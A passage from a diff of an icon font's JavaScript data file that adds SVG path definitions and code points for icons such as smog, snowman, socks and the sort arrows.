"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm194.8 170.2C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.6-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.4-16.2 38.1 4.2 24.6 20.5z" ], + "smile-beam": [ 496, 512, [], "f5b8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM112 223.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zm250.8 122.8C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.3 24.6 20.5zm6.2-118.3l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.6 8.6-11 11.9-15.1 4.5z" ], + "smile-wink": [ 496, 512, [], "f4da", "M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm158.5 16.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.7 11.1-11.4 18.3-19.8 10.8l-9.7-8.5zM157.8 325.8C180.2 352.7 213 368 248 368s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.2 24.6 20.5C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11.2-36.7 24.6-20.4z" ], + smog: [ 640, 512, [], "f75f", "M624 368H80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm-480 96H16c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h128c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm416 0H224c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h336c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zM144 288h156.1c22.5 19.7 51.6 32 83.9 32s61.3-12.3 83.9-32H528c61.9 0 112-50.1 112-112S589.9 64 528 64c-18 0-34.7 4.6-49.7 12.1C454 31 406.8 0 352 0c-41 0-77.8 17.3-104 44.8C221.8 17.3 185 0 144 0 64.5 0 0 64.5 0 144s64.5 144 144 144z" ], + smoking: [ 640, 512, [], "f48d", "M632 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8zM553.3 87.1c-5.7-3.8-9.3-10-9.3-16.8V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v62.3c0 22 10.2 43.4 28.6 55.4 42.2 27.3 67.4 73.8 67.4 124V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-65.5-32.4-126.2-86.7-162.6zM432 352H48c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h384c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zm-32 112H224v-64h176v64zm87.7-322.4C463.8 125 448 99.3 448 70.3V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v66.4c0 43.7 24.6 81.6 60.3 106.7 22.4 15.7 35.7 41.2 35.7 68.6V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-43.3-21-83.4-56.3-108.1zM536 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8z" ], + "smoking-ban": [ 512, 512, [], "f54d", "M96 304c0 8.8 7.2 16 16 16h117.5l-96-96H112c-8.8 0-16 7.2-16 16v64zM256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm0 448c-105.9 0-192-86.1-192-192 0-41.4 13.3-79.7 35.7-111.1l267.4 267.4C335.7 434.7 297.4 448 256 448zm45.2-192H384v32h-50.8l-32-32zm111.1 111.1L365.2 320H400c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16H269.2L144.9 99.7C176.3 77.3 214.6 64 256 64c105.9 0 192 86.1 192 192 0 41.4-13.3 79.7-35.7 111.1zM320.6 128c-15.6 0-28.6-11.2-31.4-25.9-.7-3.6-4-6.1-7.7-6.1h-16.2c-5 0-8.7 4.5-8 9.4 4.6 30.9 31.2 54.6 63.3 54.6 15.6 0 28.6 11.2 31.4 25.9.7 3.6 4 6.1 7.7 6.1h16.2c5 0 8.7-4.5 8-9.4-4.6-30.9-31.2-54.6-63.3-54.6z" ], + sms: [ 512, 512, [], "f7cd", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7 1.3 3 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128.2 304H116c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H156c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-19 38.6-42.4 38.6zm191.8-8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-68.2l-24.8 55.8c-2.9 5.9-11.4 5.9-14.3 0L224 227.8V296c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V192c0-8.8 7.2-16 16-16h16c6.1 0 11.6 3.4 14.3 8.8l17.7 35.4 17.7-35.4c2.7-5.4 8.3-8.8 14.3-8.8h16c8.8 0 16 7.2 16 16v104zm48.3 8H356c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H396c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-18.9 38.6-42.3 38.6z" ], + snowboarding: [ 512, 512, [], "f7ce", "M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm28.8 153.6c5.8 4.3 12.5 6.4 19.2 6.4 9.7 0 19.3-4.4 25.6-12.8 10.6-14.1 7.8-34.2-6.4-44.8l-111.4-83.5c-13.8-10.3-29.1-18.4-45.4-23.8l-63.7-21.2-26.1-52.1C244.7 2 225.5-4.4 209.7 3.5c-15.8 7.9-22.2 27.1-14.3 42.9l29.1 58.1c5.7 11.4 15.6 19.9 27.7 24l16.4 5.5-41.2 20.6c-21.8 10.9-35.4 32.8-35.4 57.2v53.1l-74.1 24.7c-16.8 5.6-25.8 23.7-20.2 40.5 1.7 5.2 4.9 9.4 8.7 12.9l-38.7-14.1c-9.7-3.5-17.4-10.6-21.8-20-5.6-12-19.9-17.2-31.9-11.6s-17.2 19.9-11.6 31.9c9.8 21 27.1 36.9 48.9 44.8l364.8 132.7c9.7 3.5 19.7 5.3 29.7 5.3 12.5 0 24.9-2.7 36.5-8.2 12-5.6 17.2-19.9 11.6-31.9S474 454.7 462 460.3c-9.3 4.4-19.8 4.8-29.5 1.3l-90.8-33.1c8.7-4.1 15.6-11.8 17.8-21.9l21.9-102c3.9-18.2-3.2-37.2-18.1-48.4l-52-39 66-30.5 83.5 62.9zm-144.4 51.7l-19.7 92c-1.5 7.1-.1 13.9 2.8 20l-169.4-61.6c2.7-.2 5.4-.4 8-1.3l85-28.4c19.6-6.5 32.8-24.8 32.8-45.5V256l60.5 45.3z" ], + snowflake: [ 448, 512, [], "f2dc", "M440.3 345.2l-33.8-19.5 26-7c8.2-2.2 13.1-10.7 10.9-18.9l-4-14.9c-2.2-8.2-10.7-13.1-18.9-10.9l-70.8 19-63.9-37 63.8-36.9 70.8 19c8.2 2.2 16.7-2.7 18.9-10.9l4-14.9c2.2-8.2-2.7-16.7-10.9-18.9l-26-7 33.8-19.5c7.4-4.3 9.9-13.7 5.7-21.1L430.4 119c-4.3-7.4-13.7-9.9-21.1-5.7l-33.8 19.5 7-26c2.2-8.2-2.7-16.7-10.9-18.9l-14.9-4c-8.2-2.2-16.7 2.7-18.9 10.9l-19 70.8-62.8 36.2v-77.5l53.7-53.7c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0L256 56.4V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v40.4l-19.7-19.7c-6.2-6.2-16.4-6.2-22.6 0L138.3 48c-6.3 6.2-6.3 16.4 0 22.6l53.7 53.7v77.5l-62.8-36.2-19-70.8c-2.2-8.2-10.7-13.1-18.9-10.9l-14.9 4c-8.2 2.2-13.1 10.7-10.9 18.9l7 26-33.8-19.5c-7.4-4.3-16.8-1.7-21.1 5.7L2.1 145.7c-4.3 7.4-1.7 16.8 5.7 21.1l33.8 19.5-26 7c-8.3 2.2-13.2 10.7-11 19l4 14.9c2.2 8.2 10.7 13.1 18.9 10.9l70.8-19 63.8 36.9-63.8 36.9-70.8-19c-8.2-2.2-16.7 2.7-18.9 10.9l-4 14.9c-2.2 8.2 2.7 16.7 10.9 18.9l26 7-33.8 19.6c-7.4 4.3-9.9 13.7-5.7 21.1l15.5 26.8c4.3 7.4 13.7 9.9 21.1 5.7l33.8-19.5-7 26c-2.2 8.2 2.7 16.7 10.9 18.9l14.9 4c8.2 2.2 16.7-2.7 18.9-10.9l19-70.8 62.8-36.2v77.5l-53.7 53.7c-6.3 6.2-6.3 16.4 0 22.6l11.3 11.3c6.2 6.2 16.4 6.2 22.6 0l19.7-19.7V496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-40.4l19.7 19.7c6.2 6.2 16.4 6.2 22.6 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6L256 387.7v-77.5l62.8 36.2 19 70.8c2.2 8.2 10.7 13.1 18.9 10.9l14.9-4c8.2-2.2 13.1-10.7 10.9-18.9l-7-26 33.8 19.5c7.4 4.3 16.8 1.7 21.1-5.7l15.5-26.8c4.3-7.3 1.8-16.8-5.6-21z" ], + snowman: [ 512, 512, [], "f7d0", "M510.9 152.3l-5.9-14.5c-3.3-8-12.6-11.9-20.8-8.7L456 140.6v-29c0-8.6-7.2-15.6-16-15.6h-16c-8.8 0-16 7-16 15.6v46.9c0 .5.3 1 .3 1.5l-56.4 23c-5.9-10-13.3-18.9-22-26.6 13.6-16.6 22-37.4 22-60.5 0-53-43-96-96-96s-96 43-96 96c0 23.1 8.5 43.9 22 60.5-8.7 7.7-16 16.6-22 26.6l-56.4-23c.1-.5.3-1 .3-1.5v-46.9C104 103 96.8 96 88 96H72c-8.8 0-16 7-16 15.6v29l-28.1-11.5c-8.2-3.2-17.5.7-20.8 8.7l-5.9 14.5c-3.3 8 .7 17.1 8.9 20.3l135.2 55.2c-.4 4-1.2 8-1.2 12.2 0 10.1 1.7 19.6 4.2 28.9C120.9 296.4 104 334.2 104 376c0 54 28.4 100.9 70.8 127.8 9.3 5.9 20.3 8.2 31.3 8.2h99.2c13.3 0 26.3-4.1 37.2-11.7 46.5-32.3 74.4-89.4 62.9-152.6-5.5-30.2-20.5-57.6-41.6-79 2.5-9.2 4.2-18.7 4.2-28.7 0-4.2-.8-8.1-1.2-12.2L502 172.6c8.1-3.1 12.1-12.2 8.9-20.3zM224 96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 272c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-88s-16-23.2-16-32 7.2-16 16-16 16 7.2 16 16-16 32-16 32zm32-56c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" ], + snowplow: [ 640, 512, [], "f7d2", "M120 376c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm238.6 49.4c-14.5-14.5-22.6-34.1-22.6-54.6V269.2c0-20.5 8.1-40.1 22.6-54.6l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6l-22.6-22.6c-6.2-6.2-16.4-6.2-22.6 0l-36.7 36.7c-26.5 26.5-41.4 62.4-41.4 99.9V288h-64v-50.9c0-8.7-1.8-17.2-5.2-25.2L364.5 29.1C356.9 11.4 339.6 0 320.3 0H176c-26.5 0-48 21.5-48 48v112h-16c-26.5 0-48 21.5-48 48v91.2C26.3 317.2 0 355.4 0 400c0 61.9 50.1 112 112 112h256c61.9 0 112-50.1 112-112 0-17.3-4.2-33.4-11.2-48H512v18.7c0 37.5 14.9 73.4 41.4 99.9l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0l22.6-22.6c6.2-6.2 6.2-16.4 0-22.6l-36.7-36.7zM192 64h117.8l68.6 160H256l-64-64V64zm176 384H112c-26.5 0-48-21.5-48-48s21.5-48 48-48h256c26.5 0 48 21.5 48 48s-21.5 48-48 48z" ], + soap: [ 512, 512, [], "e06e", "M416,192a95.42,95.42,0,0,1-30.94,70.21A95.8,95.8,0,0,1,352,448H160a96,96,0,0,1,0-192h88.91A95.3,95.3,0,0,1,224,192H96A96,96,0,0,0,0,288V416a96,96,0,0,0,96,96H416a96,96,0,0,0,96-96V288A96,96,0,0,0,416,192Zm-96,64a64,64,0,1,0-64-64A64,64,0,0,0,320,256ZM208,96a48,48,0,1,0-48-48A48,48,0,0,0,208,96ZM384,64a32,32,0,1,0-32-32A32,32,0,0,0,384,64ZM160,288a64,64,0,0,0,0,128H352a64,64,0,0,0,0-128Z" ], + socks: [ 512, 512, [], "f696", "M214.66 311.01L288 256V96H128v176l-86.65 64.61c-39.4 29.56-53.86 84.42-29.21 127.06C30.39 495.25 63.27 512 96.08 512c20.03 0 40.25-6.25 57.52-19.2l21.86-16.39c-29.85-55.38-13.54-125.84 39.2-165.4zM288 32c0-11.05 3.07-21.3 8.02-30.38C293.4.92 290.85 0 288 0H160c-17.67 0-32 14.33-32 32v32h160V32zM480 0H352c-17.67 0-32 14.33-32 32v32h192V32c0-17.67-14.33-32-32-32zM320 272l-86.13 64.61c-39.4 29.56-53.86 84.42-29.21 127.06 18.25 31.58 50.61 48.33 83.42 48.33 20.03 0 40.25-6.25 57.52-19.2l115.2-86.4A127.997 127.997 0 0 0 512 304V96H320v176z" ], + "solar-panel": [ 640, 512, [], "f5ba", "M431.98 448.01l-47.97.05V416h-128v32.21l-47.98.05c-8.82.01-15.97 7.16-15.98 15.99l-.05 31.73c-.01 8.85 7.17 16.03 16.02 16.02l223.96-.26c8.82-.01 15.97-7.16 15.98-15.98l.04-31.73c.01-8.85-7.17-16.03-16.02-16.02zM585.2 26.74C582.58 11.31 568.99 0 553.06 0H86.93C71 0 57.41 11.31 54.79 26.74-3.32 369.16.04 348.08.03 352c-.03 17.32 14.29 32 32.6 32h574.74c18.23 0 32.51-14.56 32.59-31.79.02-4.08 3.35 16.95-54.76-325.47zM259.83 64h120.33l9.77 96H250.06l9.77-96zm-75.17 256H71.09L90.1 208h105.97l-11.41 112zm16.29-160H98.24l16.29-96h96.19l-9.77 96zm32.82 160l11.4-112h149.65l11.4 112H233.77zm195.5-256h96.19l16.29 96H439.04l-9.77-96zm26.06 256l-11.4-112H549.9l19.01 112H455.33z" ], + sort: [ 320, 512, [], "f0dc", "M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41zm255-105L177 64c-9.4-9.4-24.6-9.4-33.9 0L24 183c-15.1 15.1-4.4 41 17 41h238c21.4 0 32.1-25.9 17-41z" ], + "sort-alpha-down": [ 448, 512, [], "f15d", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm240-64H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z" ], + "sort-alpha-down-alt": [ 448, 512, [], "f881", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm112-128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z" ], + "sort-alpha-up": [ 448, 512, [], "f15e", "M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm400 128H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z" ], + "sort-alpha-up-alt": [ 448, 512, [], "f882", "M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm272 64h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z" ], + "sort-amount-down": [ 512, 512, [], "f160", "M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-128-64h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm256-192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "sort-amount-down-alt": [ 512, 512, [], "f884", "M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm-64 0h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z" ], + "sort-amount-up": [ 512, 512, [], "f161", "M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.77 160 16 160zm416 0H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "sort-amount-up-alt": [ 512, 512, [], "f885", "M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.39-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160z" ], + "sort-down": [ 320, 512, [], "f0dd", "M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41z" ], + "sort-numeric-down": [ 448, 512, [], "f162", "M304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zm26.15 162.91a79 79 0 0 0-55 54.17c-14.25 51.05 21.21 97.77 68.85 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zm-176-4h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z" ], + "sort-numeric-down-alt": [ 448, 512, [], "f886", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm224 64h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z" ], + "sort-numeric-up": [ 448, 512, [], "f163", "M330.17 258.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zM304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zM107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31z" ], + "sort-numeric-up-alt": [ 448, 512, [], "f887", "M107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31zM400 416h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z" ], + "sort-up": [ 320, 512, [], "f0de", "M279 224H41c-21.4 0-32.1-25.9-17-41L143 64c9.4-9.4 24.6-9.4 33.9 0l119 119c15.2 15.1 4.5 41-16.9 41z" ], + spa: [ 576, 512, [], "f5bb", "M568.25 192c-29.04.13-135.01 6.16-213.84 83-33.12 29.63-53.36 63.3-66.41 94.86-13.05-31.56-33.29-65.23-66.41-94.86-78.83-76.84-184.8-82.87-213.84-83-4.41-.02-7.79 3.4-7.75 7.82.23 27.92 7.14 126.14 88.77 199.3C172.79 480.94 256 480 288 480s115.19.95 199.23-80.88c81.64-73.17 88.54-171.38 88.77-199.3.04-4.42-3.34-7.84-7.75-7.82zM287.98 302.6c12.82-18.85 27.6-35.78 44.09-50.52 19.09-18.61 39.58-33.3 60.26-45.18-16.44-70.5-51.72-133.05-96.73-172.22-4.11-3.58-11.02-3.58-15.14 0-44.99 39.14-80.27 101.63-96.74 172.07 20.37 11.7 40.5 26.14 59.22 44.39a282.768 282.768 0 0 1 45.04 51.46z" ], + "space-shuttle": [ 640, 512, [], "f197", "M592.604 208.244C559.735 192.836 515.777 184 472 184H186.327c-4.952-6.555-10.585-11.978-16.72-16H376C229.157 137.747 219.403 32 96.003 